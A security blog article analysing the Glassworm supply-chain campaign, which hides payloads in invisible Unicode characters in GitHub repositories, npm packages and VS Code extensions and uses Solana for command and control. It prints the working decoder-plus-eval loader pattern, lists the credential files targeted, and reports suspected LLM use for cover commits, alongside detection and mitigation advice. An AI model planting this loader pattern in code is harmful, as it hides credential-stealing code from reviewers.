Glassworm: The Supply Chain Attack Hidden in Plain Sight -- Inside Invisible Unicode Characters
Commissioned, Curated and Published by Russ. Researched and written with AI.
What’s New
Glassworm’s March 2026 campaign is still unfolding. Socket’s Friday report documents 72 malicious Open VSX extensions discovered since January 31, including extensions mimicking AI coding assistants like Claude Code and Google Antigravity. The new extensions use extensionPack and extensionDependencies relationships to deploy payloads transitively – an extension that looked clean at first publish silently becomes a delivery vehicle after a later update adds a malicious dependency. Open VSX has removed the flagged extensions; the underlying technique remains.
Changelog
| Date | Summary |
|---|---|
| 15 Mar 2026 | Initial publication. |
A pull request can look completely clean and still contain malicious code. Not obfuscated code. Not suspicious-looking code. Literally invisible code – hidden inside Unicode characters that render as blank space in every editor, every diff viewer, every PR review UI.
That is what Glassworm has been doing. Between March 3 and March 9 this year, researchers at Aikido Security identified at least 151 GitHub repositories compromised with hidden payloads. The same campaign hit the VS Code extension marketplace and npm. The payloads steal credentials, tokens, and secrets. The command-and-control infrastructure runs on the Solana blockchain – which means it cannot be taken down by reporting an IP address or contacting a hosting provider.
The code reviewers who passed these pull requests didn’t miss something suspicious. There was nothing to see.
What Glassworm Is
Aikido Security first traced this technique to a threat actor they named Glassworm in October 2025, when compromised extensions appeared on the Open VSX registry. The underlying approach – hiding malicious payloads inside invisible Unicode characters – had actually been observed in npm packages as far back as March 2025, but the October campaign was the first time researchers connected the activity to a single persistent actor.
The March 2026 wave is a significant escalation in scale. Where the October campaign targeted VS Code extensions, the new wave spreads across GitHub repositories, npm packages, and VS Code simultaneously. A coordinated, multi-ecosystem push – and at a pace that raises questions about how it was produced at all.
Socket’s concurrent research identifies a separate evolution in the VS Code campaign: Glassworm now abuses extensionPack and extensionDependencies relationships in VS Code’s package.json format to deploy payloads transitively. An attacker publishes a harmless extension, passes review, builds trust – then updates it to list a Glassworm-linked package as a dependency. VS Code installs every listed extension automatically. The initial extension never needs to change.
The Technique: Code That Isn’t There
Unicode’s Private Use Areas (PUA) are character ranges reserved for private encoding of symbols – emojis, flags, custom glyphs. The code points in ranges U+FE00 to U+FE0F and U+E0100 to U+E01EF represent bytes when fed to a computer, but render as nothing in any viewer humans actually use. No character. No box. No question mark. Nothing.
Glassworm’s injection pattern exploits this directly. Here is what appears in compromised code:
const s = v => [...v].map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));
The backtick string passed to s() looks empty. It is not empty. It contains invisible characters encoding a complete malicious payload. When the JavaScript runtime executes that code, the decoder extracts the real bytes and passes them to eval(). A second-stage script is fetched and executed – stealing tokens, credentials, and secrets.
The code review sees nothing because there is nothing to see. The diff shows an empty string literal. Static analysis sees an empty string literal. The linter has no opinion. The payload executes anyway.
This is an extension of the Trojan Source class of attacks first documented as CVE-2021-42574, which showed how certain Unicode characters could be used to make code appear different to reviewers than to compilers. Glassworm extends the concept further: the payload isn’t disguised, it’s absent from the visual representation entirely.
Why Developer Tooling Is the Target
The choice of VS Code extensions as a delivery vector is not incidental. It is deliberate.
VS Code extensions run with the full process privileges of the editor – which means they run with your privileges. They can read environment variables. They can access the filesystem. They can exfiltrate SSH keys, .env files, ~/.npmrc, ~/.gitconfig, AWS credentials, and session tokens. They make network requests to do their jobs legitimately, which means exfiltration traffic doesn’t look anomalous to monitoring tools – VS Code is supposed to make network requests.
A compromised VS Code extension is a persistent, privileged foothold on every developer machine that installs it. That means laptops, CI/CD runner environments, any machine where a developer works. Compromise one widely-used extension and you have access to credentials across an entire organisation’s engineering team.
The same logic applies to npm packages embedded in development tooling. The packages aren’t targeting production servers – they’re targeting the developer machines that build them. From a credential-theft perspective, developer machines are often the highest-value targets in an organisation. They hold the keys.
Blockchain C2: The Part You Can’t Take Down
Glassworm’s payload delivery uses Solana as a “dead drop resolver” – the blockchain stores pointers to the actual C2 server rather than the attacker using a traditional domain or IP address directly. The second-stage script fetches those pointers from Solana transactions to locate its current command-and-control endpoint.
This matters for incident response. Traditional IR playbooks include taking down C2 infrastructure: report the domain to the registrar, contact the hosting provider, coordinate with threat intel teams to get IPs blocked. All of that requires a centrally controlled service that can be pressured or removed.
Solana transactions are immutable and distributed. There is no registrar to contact, no hosting provider to call, no central server to take offline. The C2 pointers live on a public blockchain that was designed specifically to be uncensorable. Even after the campaign is discovered and the compromised packages are removed, the C2 infrastructure remains fully operational.
This is not an accident. It is a deliberate architectural choice to make the campaign resilient against exactly the incident response actions that defenders would take. Blockchain C2 has appeared in other threat actor toolkits; Glassworm’s consistent use of it suggests a sophisticated operator who has thought carefully about attacker infrastructure longevity.
The campaign also rotates Solana wallets to evade detection and includes checks to avoid infecting systems running with a Russian locale – a common indicator of threat actors operating from, or with ties to, Russian-speaking jurisdictions.
The LLM Hypothesis
One hundred and fifty-one GitHub repositories compromised in six days. That is the confirmed minimum – the actual number is higher because many affected repositories were deleted before the count was taken. Each compromise involved a commit that looked plausibly legitimate: documentation tweaks, version bumps, small refactors, bug fixes stylistically consistent with the target project.
Aikido researcher Ilyas Makari’s assessment is direct: “This level of project-specific tailoring strongly suggests the attackers are using large language models to generate convincing cover commits. At the scale we’re now seeing, manual crafting of 151+ bespoke code changes across different codebases simply isn’t feasible.”
This is researcher inference, not confirmed attribution. Glassworm has not publicly disclosed their toolchain. But the logic is sound. A human operator writing 151+ contextually appropriate fake commits across different codebases, in six days, with enough surface-level authenticity to pass casual review – that is implausibly slow manual work. An LLM generating contextually-appropriate-looking commit content, given the repository context, is a plausible explanation for why the commits look the way they do.
If that inference is correct, the implications extend beyond this campaign. The marginal cost of adding one more target drops toward zero. Supply chain attacks that previously required significant manual effort per target become automatable at scale. The constraint on how many repositories a single threat actor can compromise in a week stops being human time and starts being API budget.
We have been here before with the economics of phishing – once generation became cheap, volume exploded. Supply chain attacks may be entering the same transition.
Detection and Mitigation
The tooling to detect this exists. Most pipelines don’t use it.
Unicode scanning in CI/CD. The anti-trojan-source npm package and similar tools scan source files for invisible or dangerous Unicode characters. Running this as a pre-commit hook or CI step will catch the Glassworm injection pattern before it reaches review. Snyk has detection for the class of attack. Aikido’s malware scanning pipeline flags these as critical findings. None of this is expensive to deploy.
Diff rendering that exposes non-printing characters. GitHub has some support for highlighting unusual Unicode in diffs, but it’s not universally enabled or visible by default. Tools that render invisible characters as visible markers – even a small dot or escape sequence – would catch this visually. Worth configuring in your review tooling.
Extension vetting and provenance. The VS Code Marketplace has extension signing and some review processes; Open VSX has significantly less. Installing extensions only from verified publishers, auditing installed extensions across your team’s machines, and treating extension updates with the same scrutiny you’d apply to a dependency bump would all reduce exposure. The transitive dependency technique Socket identified makes this harder – vetting an extension at install time doesn’t account for what it becomes after a later update.
Dependency pinning and lock files. Packages should be pinned at specific versions with verified checksums. The Glassworm npm packages were identified at specific versions (@aifabrix/[email protected], @iflow-mcp/[email protected] through 1.3.4). Pinning limits the blast radius when a package is updated to include a malicious payload.
Behavioural monitoring for credential exfiltration. VS Code making outbound network requests is normal. VS Code reading ~/.aws/credentials and then making an outbound request to an unusual endpoint is not. Endpoint detection tooling that builds baselines for developer tooling behaviour would surface this – if you have it deployed on developer machines, which many organisations don’t.
For related coverage of how similar supply chain techniques have hit other ecosystems, see the analysis of Rust crates in CI/CD pipelines, the PhantomRaven npm campaign that used Remote Dynamic Dependencies to beat package scanning, credential theft and cascade breaches via the Drift/Telus pattern, and trust boundary failures in automated pipelines.
The Assumption That Will Keep Getting You
Every supply chain security control in a standard pipeline operates on a shared assumption: malicious code is eventually visible to someone. Static analysis scans for known patterns. Code review catches suspicious logic. Dependency scanners check for known-bad packages. These controls assume that if something is wrong, it is at minimum legible.
Glassworm invalidates that assumption. The payload is not hidden in a clever way. It is hidden in a literal way – in characters that have no visual representation in any standard tooling. The diff looks clean because the malicious content renders as nothing. The review passes because there is nothing to review.
The tooling to detect invisible Unicode in source code exists, it is not expensive, and it is not widely deployed. That gap is the attack surface Glassworm is operating in.
Visible code being safe code was always an assumption. It is no longer a safe one to make.